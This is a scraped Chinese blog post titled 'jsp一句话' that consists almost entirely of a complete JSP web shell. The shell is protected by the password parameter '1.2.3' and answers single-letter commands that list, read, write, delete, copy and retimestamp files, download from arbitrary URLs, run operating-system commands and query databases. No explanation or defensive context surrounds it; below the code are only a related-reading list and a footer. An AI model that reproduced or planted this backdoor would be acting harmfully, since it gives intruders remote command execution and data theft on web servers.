zoukankan      html  css  js  c++  java
  • jsp一句话

    <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
    <%!
    String Pwd="1.2.3";
    String EC(String s,String c)throws Exception{return new String(s.getBytes("ISO-8859-1"),c);}
    Connection GC(String s)throws Exception{String[] x=s.trim().split(" ");Class.forName(x[0].trim()).newInstance();
    Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
    void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
    void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
    SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
    sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/ "+sT+" "+l[i].length()+" "+sQ+" ");}
    else{sF+=l[i].getName()+" "+sT+" "+l[i].length()+" "+sQ+" ";}}sb.append(sF);}
    void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
    for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
    void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
    ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
    os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
    void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
    FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
    {os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
    void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
    for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
    }else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
    int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
    void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
    void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
    void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
    HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
    while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
    void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
    while((l=br.readLine())!=null){sb.append(l+" ");}}
    void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
    while(r.next()){sb.append(r.getString(1)+" ");}r.close();c.close();}
    void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
    while(r.next()){sb.append(r.getString("TABLE_NAME")+" ");}r.close();c.close();}
    void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split(" ");Connection c=GC(s);
    Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
    for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+") ");}r.close();m.close();c.close();}
    void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
    try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+" | ");
    }sb.append(" ");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+" | ");}sb.append(" ");}r.close();}
    catch(Exception e){sb.append("Result | ");try{m.executeUpdate(q);sb.append("Execute Successfully! | ");
    }catch(Exception ee){sb.append(ee.toString()+" | ");}}m.close();c.close();}
    %><%
    String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
    String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
    StringBuffer sb=new StringBuffer("");try{sb.append("X@Y");
    if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+" ");if(!s.substring(0,1).equals("/")){AA(sb);}}
    else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
    while((l=br.readLine())!=null){sb.append(l+" ");}br.close();}
    else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
    bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
    else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
    else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
    else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
    MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
    else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
    }catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("X@Y");out.print(sb.toString());
    %>

  • 相关阅读:
    DataFrame的iloc与loc的区别是什么?
    [笔记]《算法图解》第十一章 接下来如何做
    [笔记]《算法图解》第十章 K最近邻算法
    leetcode NO.171 Excel表列序号 (python实现)
    [笔记]《算法图解》第九章 动态规划
    [笔记]《算法图解》第八章 贪婪算法
    [笔记]《算法图解》第七章 狄克斯特拉算法
    leetcode NO.7 反转整数 (python3实现)
    [错误处理]电脑风扇很响处理方案
    比对两文件夹下文件名的区别
  • 原文地址:https://www.cnblogs.com/milantgh/p/5796431.html
Copyright © 2011-2022 走看看